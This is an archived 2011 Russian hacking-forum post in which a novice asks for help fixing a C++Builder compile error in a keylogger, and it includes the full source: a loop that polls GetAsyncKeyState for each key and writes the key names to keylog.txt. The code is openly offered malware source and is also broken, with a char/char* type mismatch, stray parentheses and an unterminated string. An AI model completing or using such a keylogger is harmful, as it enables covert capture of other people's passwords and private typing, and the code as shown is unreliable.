Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Кодинг С++. Устранение ошибки. Кейлоггер.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Кодинг С++. Устранение ошибки. Кейлоггер.
Имя
Сообщение << Старые топики   Новые топики >>
Кодинг С++. Устранение ошибки. Кейлоггер. - 2011-07-03 21:07:27.386666   
vbloodv

Сообщений: 1
Оценки: 0
Присоединился: 2011-07-03 20:48:45.790000
Добрый день! Необходима помощь в устранении ошибки. При компиляции( C++Builder 6) программа выдает Cannot convert 'int' to char, при этом в самой функции используются только строковые данные. Указывает на строку содержащую: "char *string=Interceptor();" и на все строки начиная со второй в самой процедуре перехвата. Заранее приношу извинения за оформление строк перебора клавиш в функции(мне показалось что когда слишком много такой вид будет лучше визуально восприниматься).

  #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;windows.h&gt; #include &lt;winbase.h&gt; #include &lt;string.h&gt; char Interceptor();//Прототип функции int k; //Кейлоггер сохраняющий все нажатые клавиши в текстовой фаил int main() { HFILE f=_lopen("keylog.txt",1); // открываем файл &nbsp;while(true) { char *string=Interceptor(); int length_string = strlen(string); _lwrite(f,string,length_string);} //end _lclose(f); //Закрыли фаил return 0; } //описание перехватчика клавишь&nbsp; Interceptor(от англ. Перехватчик) char Interceptor() { //начало цикла //1 ряд клавиш char s; if (GetAsyncKeyState(0x1b)!=0){s="esc";} if (GetAsyncKeyState(0x70)!=0){s="f1";} if (GetAsyncKeyState(0x71)!=0){s="f2";} if (GetAsyncKeyState(0x72)!=0){s="f3";} if (GetAsyncKeyState(0x73)!=0){s="f4";} if (GetAsyncKeyState(0x74)!=0){s="f5";} if (GetAsyncKeyState(0x75)!=0){s="f6";} if (GetAsyncKeyState(0x76)!=0){s="f7";} if (GetAsyncKeyState(0x77)!=0){s="f8";} if (GetAsyncKeyState(0x78)!=0){s="f9";} if (GetAsyncKeyState(0x79)!=0){s="f10";} if (GetAsyncKeyState(0x7a)!=0){s="f11";} if (GetAsyncKeyState(0x7b)!=0){s="f12";} if (GetAsyncKeyState(0x91)!=0){s="scroll lock ";} if (GetAsyncKeyState(0x13)!=0){s="pause ";} //2 ряд клавиш if (GetAsyncKeyState(0xc0)!=0){s="`";} if (GetAsyncKeyState(0x31)!=0){s="1";} if (GetAsyncKeyState(0x32)!=0){s="2";} if (GetAsyncKeyState(0x33)!=0){s="3";} if (GetAsyncKeyState(0x34)!=0){s="4";} if (GetAsyncKeyState(0x35)!=0){s="5");} if (GetAsyncKeyState(0x36)!=0){s="6");} if (GetAsyncKeyState(0x37)!=0){s="7");} if (GetAsyncKeyState(0x38)!=0){s="8");} if (GetAsyncKeyState(0x39)!=0){s="9");} if (GetAsyncKeyState(0x30)!=0){s="0");} if (GetAsyncKeyState(0xbd)!=0){s="-");} if (GetAsyncKeyState(0xbb)!=0){s="=");} if (GetAsyncKeyState(0xdc)!=0){s="|");} if (GetAsyncKeyState(0x8)!=0) {s="[backsp]";} if (GetAsyncKeyState(0x2d)!=0){s="ins";} if (GetAsyncKeyState(0x24)!=0){s="home";} if (GetAsyncKeyState(0x21)!=0){s="pgup";} if (GetAsyncKeyState(0x90)!=0){s="num";} if (GetAsyncKeyState(0xbd)!=0){s="-";} if (GetAsyncKeyState(0x6f)!=0){s="/";} if (GetAsyncKeyState(0x6a)!=0){s="*";} if (GetAsyncKeyState(0x6d)!=0){s="-";} // 3 ряд клавиш if (GetAsyncKeyState(0x9)!=0) {s="tab";} if (GetAsyncKeyState(0x51)!=0){s="q";} if (GetAsyncKeyState(0x57)!=0){s="w";} if (GetAsyncKeyState(0x45)!=0){s="e";} if (GetAsyncKeyState(0x52)!=0){s="r";} if (GetAsyncKeyState(0x54)!=0){s="t";} if (GetAsyncKeyState(0x59)!=0){s="y";} if(GetAsyncKeyState(0x55)!=0) {s="u";} if (GetAsyncKeyState(0x49)!=0){s="i";} if (GetAsyncKeyState(0x4f)!=0){s="o";} if (GetAsyncKeyState(0x50)!=0){s="p";} if (GetAsyncKeyState(0xdb)!=0){s="[";} if (GetAsyncKeyState(0xdd)!=0){s="]";} if (GetAsyncKeyState(0xd)!=0) {s="enter ;} if (GetAsyncKeyState(0x2e)!=0){s="del";} if (GetAsyncKeyState(0x23)!=0){s="end";} if (GetAsyncKeyState(0x22)!=0){s="pgdown";} if (GetAsyncKeyState(0x67)!=0){s="7";} if (GetAsyncKeyState(0x68)!=0){s="8";} if (GetAsyncKeyState(0x69)!=0){s="9";} if (GetAsyncKeyState(0x6b)!=0){s="+";} //4 ряд клавиш if (GetAsyncKeyState(0x14)!=0){s="[caps]";} if (GetAsyncKeyState(0x41)!=0){s="a";} if (GetAsyncKeyState(0x53)!=0){s="s";} if (GetAsyncKeyState(0x44)!=0){s="d";} if (GetAsyncKeyState(0x46)!=0){s="f";} if (GetAsyncKeyState(0x47)!=0){s="g";} if (GetAsyncKeyState(0x48)!=0){s="h";} if (GetAsyncKeyState(0x4a)!=0){s="j";} if (GetAsyncKeyState(0x4b)!=0){s="k";} if (GetAsyncKeyState(0x4c)!=0){s="l";} if (GetAsyncKeyState(0xba)!=0){s=";";} if (GetAsyncKeyState(0xde)!=0){s="'";} if (GetAsyncKeyState(0x64)!=0){s="4";} if (GetAsyncKeyState(0x65)!=0){s="5";} if (GetAsyncKeyState(0x66)!=0){s="6";} //5 ряд клавиш if (GetAsyncKeyState(0x10)!=0){s="shift ";} if (GetAsyncKeyState(0x5a)!=0){s="z";} if (GetAsyncKeyState(0x58)!=0){s="x";} if (GetAsyncKeyState(0x43)!=0){s="c";} if (GetAsyncKeyState(0x56)!=0){s="v";} if (GetAsyncKeyState(0x42)!=0){s="b";} if (GetAsyncKeyState(0x4e)!=0){s="n";} if (GetAsyncKeyState(0x4d)!=0){s="m";} if (GetAsyncKeyState(0xbc)!=0){s=",";} if (GetAsyncKeyState(0xbe)!=0){s=".";} if (GetAsyncKeyState(0x26)!=0){s="up";} if (GetAsyncKeyState(0x61)!=0){s="1";} if (GetAsyncKeyState(0x62)!=0){s="2";} if (GetAsyncKeyState(0x63)!=0){s="3";} if (GetAsyncKeyState(0xbf)!=0){s="/";} //6 ряд клавиш if (GetAsyncKeyState(0x11)!=0){s="ctrl";} if (GetAsyncKeyState(0x5b)!=0){s="leftwin";} if (GetAsyncKeyState(0x12)!=0){s="alt";} if (GetAsyncKeyState(0x20)!=0){s="space";} if (GetAsyncKeyState(0x5c)!=0){s="rigthtwin";} if (GetAsyncKeyState(0x5d)!=0){s="popup";} if (GetAsyncKeyState(0x25)!=0){s="left";} if (GetAsyncKeyState(0x28)!=0){s="down";} if (GetAsyncKeyState(0x27)!=0){s="rigth";} if (GetAsyncKeyState(0x60)!=0){s="0",2);} if (GetAsyncKeyState(0x6e)!=0){s="0",2);} return s; }
P.S.Программирую относительно недавно поэтому возможны синтаксические ошибки и много комментариев предназначенных скорее для меня самого.
Post #: 1
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Кодинг С++. Устранение ошибки. Кейлоггер.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.